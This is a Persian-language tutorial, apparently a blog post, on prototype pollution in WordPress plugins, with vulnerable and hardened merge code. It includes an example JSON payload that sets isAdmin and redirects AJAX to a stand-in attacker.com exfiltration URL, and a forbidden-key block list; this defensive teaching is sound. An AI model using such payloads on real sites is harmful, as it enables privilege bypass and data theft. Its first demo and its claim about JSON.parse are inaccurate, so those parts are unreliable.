Prototype Pollution (آلوده‌سازی پروتوتایپ) یکی از خطرناک‌ترین و در عین حال کم‌شناخته‌شده‌ترین آسیب‌پذیری‌های JavaScript است که در آن مهاجم با تزریق کلیدهای خاص مانند __proto__، constructor یا prototype، ساختار پروتوتایپ اشیاء را تغییر می‌دهد. در بستر وردپرس، این تهدید از دو مسیر اصلی وارد می‌شود: اسکریپت‌های پیشخوان که از کتابخانه‌های قدیمی استفاده می‌کنند و افزونه‌های شخص‌ثالث که ورودی کاربر را بدون اعتبارسنجی با Object.assign یا merge ترکیب می‌کنند. پیامد این حمله می‌تواند از خرابی رفتار رابط کاربری تا اجرای کد دلخواه (XSS) و حتی نفوذ کامل به نشست مدیر متغیر باشد. دفاع شامل سه لایه است: اعتبارسنجی سختگیرانه ورودی‌ها، استفاده از Object.create(null) و Object.freeze(Object.prototype)، و به‌روزرسانی کتابخانه‌های آسیب‌پذیر مانند lodash و jQuery قدیمی. متأسفانه وردپرس هسته به‌طور کامل این تهدید را در سطح فریم‌ورک دفع نمی‌کند و بار اصلی بر دوش توسعه‌دهندگان قالب و افزونه است. بدون درک دقیق زنجیره پروتوتایپ، پیاده‌سازی دفاعی مؤثر ممکن نیست.

Prototype Pollution تا زمانی که برای اولین‌بار در یک پروژه وردپرسی واقعی با آن روبه‌رو نشدم، مفهومی انتزاعی به‌نظر می‌رسید. اما وقتی دیدم چگونه یک افزونه ساده با یک ورودی دستکاری‌شده، کل رفتار یک داشبورد مدیریتی را تغییر داد، متوجه شدم این آسیب‌پذیری نه‌تنها جدی است، بلکه بسیار ظریف‌تر از XSS و CSRF عمل می‌کند. در این نوشتار، از زنجیره پروتوتایپ تا پیاده‌سازی دفاع در وردپرس را با دقت بررسی می‌کنیم.

Prototype Pollution چیست؟

Prototype Pollution (آلوده‌سازی پروتوتایپ) نوعی آسیب‌پذیری در JavaScript است که در آن مهاجم با تزریق ویژگی‌های مخرب به Object.prototype یا نمونه‌های پروتوتایپ دیگر، رفتار همه اشیاء در برنامه را دستکاری می‌کند. این حمله در دسته آسیب‌پذیری‌های «تزریق داده» (Data Injection) قرار می‌گیرد و برخلاف XSS که به تزریق کد نیاز دارد، در اینجا صرفاً «داده» تزریق می‌شود تا رفتار برنامه تغییر کند. برای درک عمیق‌تر جایگاه این آسیب‌پذیری در دسته‌بندی کلی، انواع آسیب‌پذیری‌های رایج وب را ببینید.

کلیدواژه‌های اصلی که مهاجم از آن‌ها سوءاستفاده می‌کند عبارتند از __proto__، constructor و prototype. این سه، مسیرهای دسترسی به پروتوتایپ شیء در JavaScript هستند. اگر برنامه‌ای ورودی کاربر را بدون فیلتر در یکی از این مسیرها قرار دهد، مهاجم می‌تواند ویژگی دلخواه را به پروتوتایپ اضافه کند.

Prototype Pollution یکی از انگشت‌شمار آسیب‌پذیری‌هایی است که در سکوت کامل عمل می‌کند و تا زمانی که مهاجم آن را به XSS یا RCE تبدیل نکند، ممکن است ماه‌ها بدون شناسایی باقی بماند.

زنجیره پروتوتایپ در JavaScript چگونه کار می‌کند؟

در JavaScript، هر شیء یک ارجاع داخلی به شیء دیگری به نام پروتوتایپ دارد. وقتی خاصیتی روی یک شیء خوانده می‌شود که در آن وجود ندارد، JavaScript در زنجیره پروتوتایپ بالا می‌رود تا آن را پیدا کند. این رفتار، پایه وراثت در JavaScript است.

const user = { name: "admin" };
console.log(user.toString);
// به Object.prototype.toString می‌رسد

حال اگر مهاجم بتواند ویژگی isAdmin را به Object.prototype اضافه کند، همه اشیاء در برنامه آن ویژگی را دارند:

// حمله:
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);

// نتیجه:
console.log(({}).isAdmin); // true

این یعنی حتی اگر currentUser.isAdmin هرگز تعریف نشده باشد، مقدار true برمی‌گرداند و یک بررسی ساده امنیتی دور زده می‌شود. برای درک عمیق‌تر این مفهوم در چارچوب بزرگ‌تر، برنامه‌نویسی شی‌گرا در JavaScript را ببینید.

چرا وردپرس قربانی Prototype Pollution می‌شود؟

وردپرس هسته، بخش قابل توجهی از رابط مدیریتی خود را با JavaScript ساخته است. کتابخانه‌هایی مانند jQuery، Underscore، Backbone و React در نسخه‌های مختلف به‌کار می‌روند. برخی از این کتابخانه‌ها در نسخه‌های قدیمی خود، الگوهای merge و extend را به شکلی پیاده کرده‌اند که در برابر Prototype Pollution آسیب‌پذیرند. اگر می‌خواهید بدانید چرا این کتابخانه‌ها در وردپرس این‌قدر رایج‌اند، ساختار افزونه وردپرس را ببینید.

  • کتابخانه‌های قدیمی: jQuery قبل از نسخه ۳.۴ و lodash قبل از ۴.۱۷.۱۱ در برابر Prototype Pollution آسیب‌پذیر بودند.
  • الگوهای merge ناایمن: بسیاری از افزونه‌ها از توابع سفارشی merge استفاده می‌کنند که بررسی کلید را انجام نمی‌دهند.
  • داده‌های JSON از منابع نامطمئن: REST API (Representational State Transfer Application Programming Interface - رابط برنامه‌نویسی انتقال حالت بازنمودی) در وردپرس داده‌های JSON را بدون اعتبارسنجی سختگیرانه می‌پذیرد.
  • Local Storage و پارامترهای URL: برخی افزونه‌ها تنظیمات را از URL یا localStorage می‌خوانند.

نکته مهم این است که وردپرس هسته به‌طور پیش‌فرض Object.freeze(Object.prototype) را اجرا نمی‌کند، زیرا این کار می‌تواند برخی کتابخانه‌های شخص‌ثالث را بشکند. به همین دلیل، مسئولیت دفاع بر دوش توسعه‌دهندگان است.

مکانیزم اکسپلویت در محیط وردپرس

یک سناریوی واقعی: یک افزونه سفارشی‌سازی تنظیمات، داده‌ای را از REST API دریافت می‌کند و آن را با تنظیمات پیش‌فرض merge می‌کند:

function mergeSettings(defaults, userSettings) {
  for (const key in userSettings) {
    if (typeof userSettings[key] === 'object') {
      defaults[key] = mergeSettings(defaults[key] || {}, userSettings[key]);
    } else {
      defaults[key] = userSettings[key];
    }
  }
  return defaults;
}

مهاجم با ارسال payload زیر، پروتوتایپ را آلوده می‌کند:

{
  "__proto__": {
    "isAdmin": true,
    "ajaxUrl": "https://attacker.com/steal"
  }
}

حالا در همه‌جای برنامه، isAdmin به‌طور پیش‌فرض true است و درخواست‌های AJAX ممکن است به سرور مهاجم ارسال شوند. این همان زنجیره‌ای است که Prototype Pollution را به XSS و حتی RCE (Remote Code Execution - اجرای کد از راه دور) متصل می‌کند. برای درک این نوع زنجیره‌سازی حملات، راهنمای پیشگیری از XSS را ببینید.

پیامدهای واقعی Prototype Pollution

سطح تأثیرنتیجه
خرابی رابط کاربریرفتار غیرمنتظره در فرم‌ها و دکمه‌ها
دور زدن منطق امنیتیعبور از بررسی‌های نقش و دسترسی
XSSاجرای اسکریپت دلخواه در مرورگر مدیر
نشت دادهارسال داده‌های حساس به سرور مهاجم
RCE در سناریوهای خاصترکیب با deserialization در Node.js

در پروژه‌های واقعی که بررسی کرده‌ام، بیشترین موارد Prototype Pollution از طریق افزونه‌های شخص‌ثالث وارد شده بودند که داده‌های REST را بدون اعتبارسنجی merge می‌کردند. برای دیدن لیست مشابه از خطاها، خطای تضاد افزونه با قالب را ببینید.

چگونه از Prototype Pollution در وردپرس جلوگیری کنیم؟

دفاع در چند لایه قابل پیاده‌سازی است. هیچ لایه‌ای به‌تنهایی کافی نیست و بهترین رویکرد، ترکیب آن‌ها است. این رویکرد در اصول امنیت وب توضیح داده شده است.

لایه ۱: مسدودسازی کلیدهای حساس در ورودی

هر جا داده‌ای از کاربر می‌گیرید، کلیدهای خطرناک را مسدود کنید:

const FORBIDDEN_KEYS = ['__proto__', 'constructor', 'prototype'];

function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (FORBIDDEN_KEYS.includes(key)) continue;
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = safeMerge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

نکته مهم: استفاده از Object.keys به‌جای for...in ضروری است، زیرا for...in ویژگی‌های ارث‌بری‌شده از پروتوتایپ را نیز پیمایش می‌کند.

لایه ۲: استفاده از Map یا Object.create(null)

const safeObj = Object.create(null);
safeObj.key = "value";
// safeObj.__proto__ وجود ندارد

اگر با داده‌های پویا کار می‌کنید، ساختارهای Map یا Object.create(null) را جایگزین شیء معمولی کنید.

لایه ۳: انجماد پروتوتایپ

Object.freeze(Object.prototype);
Object.freeze(Object.prototype.__proto__ || {});

این کار مانع از هرگونه تغییر روی پروتوتایپ می‌شود. اما احتیاط: ممکن است برخی کتابخانه‌های شخص‌ثالث را بشکند، زیرا بعضی کتابخانه‌ها به‌طور مشروع پروتوتایپ را تغییر می‌دهند (مثلاً polyfillها).

لایه ۴: اعتبارسنجی سمت سرور

مهم‌تر از هر دفاع سمت کلاینت، اعتبارسنجی سمت سرور است. در REST API وردپرس، از register_rest_route با validate_callback و sanitize_callback استفاده کنید:

register_rest_route( 'myplugin/v1', '/settings', [
  'methods' => 'POST',
  'callback' => 'myplugin_save_settings',
  'permission_callback' => function() {
    return current_user_can( 'manage_options' );
  },
  'args' => [
    'theme' => [
      'validate_callback' => function( $v ) {
        return in_array( $v, ['light', 'dark'], true );
      },
      'sanitize_callback' => 'sanitize_text_field',
    ],
  ],
] );

این ترکیب، تزریق کلیدهای خطرناک را در سطح API مسدود می‌کند. برای درک عمیق‌تر REST در وردپرس، استفاده از REST API در وردپرس را ببینید.

کتابخانه‌های آسیب‌پذیر و راهکارها

کتابخانهنسخه آسیب‌پذیرراهکار
lodashقبل از ۴.۱۷.۱۱به‌روزرسانی یا استفاده از _.mergeWith با sanitizer
jQueryقبل از ۳.۴به‌روزرسانی یا استفاده از jQuery.extend(true, {}) با احتیاط
Hoekقبل از ۴.۲.۴جایگزینی با lodash.merge امن
mergeقبل از ۱.۲.۱استفاده از نسخه امن یا جایگزین

در پروژه‌های واقعی، دیده‌ام که افزونه‌های وردپرسی نسخه‌های قدیمی lodash را باندل کرده و از آن استفاده می‌کنند. توصیه می‌شود همه وابستگی‌های npm را با npm audit بررسی کنید. برای درک بهتر چرخه به‌روزرسانی، خطای به‌روزرسانی افزونه را ببینید.

اشتباهات رایج در دفع Prototype Pollution

  • استفاده از for...in بدون hasOwnProperty: این الگو مستقیماً پروتوتایپ را پیمایش می‌کند.
  • اتکای صرف به JSON.parse: JSON.parse کلید __proto__ را در اشیاء معمولی حذف می‌کند، اما در Object.assign و mergeهای دستی نه.
  • انجماد بی‌محابای پروتوتایپ: ممکن است کتابخانه‌های دیگر را بشکند.
  • نادیده گرفتن داده‌های localStorage: مهاجم می‌تواند localStorage را از طریق XSS دیگر تغییر دهد.
  • فراموش کردن اعتبارسنجی سمت سرور: بدون این لایه، دفاع سمت کلاینت با دور زدن مرورگر بی‌اثر است.
  • به‌روزرسانی نکردن وابستگی‌ها: بسیاری از آسیب‌پذیری‌ها مدت‌ها قبل وصله شده‌اند اما پروژه از نسخه قدیمی استفاده می‌کند.

اگر می‌خواهید ببینید چه آسیب‌پذیری‌های دیگری در افزونه‌های وردپرس رایج‌اند، آسیب‌پذیری افزونه‌های وردپرس را ببینید.

پرسش‌های پرتکرار درباره Prototype Pollution در وردپرس

آیا Prototype Pollution در PHP هم وجود دارد؟ نه به آن شکل. این آسیب‌پذیری مختص JavaScript است. در PHP، آسیب‌پذیری مشابه با نام mass assignment شناخته می‌شود.

آیا افزونه‌های امنیتی وردپرس این حمله را دفع می‌کنند؟ بسیاری از آن‌ها در نسخه‌های جدید، لایه‌هایی برای محافظت دارند، اما به‌تنهایی کافی نیستند. برای مرور گزینه‌ها، بهترین افزونه‌های امنیتی وردپرس را ببینید.

آیا فقط افزونه‌های وردپرسی در خطرند؟ نه، قالب‌ها، اسکریپت‌های سفارشی و حتی کتابخانه‌های مشترک نیز می‌توانند ناقل باشند.

چطور بفهمم سایت من آلوده شده است؟ رفتار غیرمنتظره در پنل مدیریت، تغییرات ناخواسته در تنظیمات، و درخواست‌های AJAX به دامنه‌های ناشناس، از نشانه‌ها هستند. برای بررسی جامع، تست امنیت وب‌سایت را ببینید.

برای مطالعه بیشتر درباره پروتوتایپ در JavaScript، صفحه Prototype-based programming در ویکی‌پدیا مفید است.

خط پایان

Prototype Pollution یک تهدید ظریف و در عین حال بسیار جدی است که در سایه XSS و CSRF کمتر دیده می‌شود. در بستر وردپرس، ترکیب کتابخانه‌های قدیمی، افزونه‌های شخص‌ثالث و REST API، سطح حمله را گسترده می‌کند. دفاع مؤثر نیازمند چند لایه است: از مسدودسازی کلیدهای خطرناک و اعتبارسنجی سختگیرانه تا به‌روزرسانی وابستگی‌ها و انجماد پروتوتایپ. اگر پروژه‌ای با JavaScript سنگین دارید، همین امروز وابستگی‌ها را audit کنید.

اگر در پروژه‌ای با Prototype Pollution روبه‌رو شده‌اید یا راهکار دفاعی متفاوتی پیاده کرده‌اید، تجربه خود را در دیدگاه‌ها بنویسید؛ به‌خصوص اگر افزونه یا کتابخانه خاصی عامل بوده، این اطلاعات برای خواننده بعدی بسیار ارزشمند است.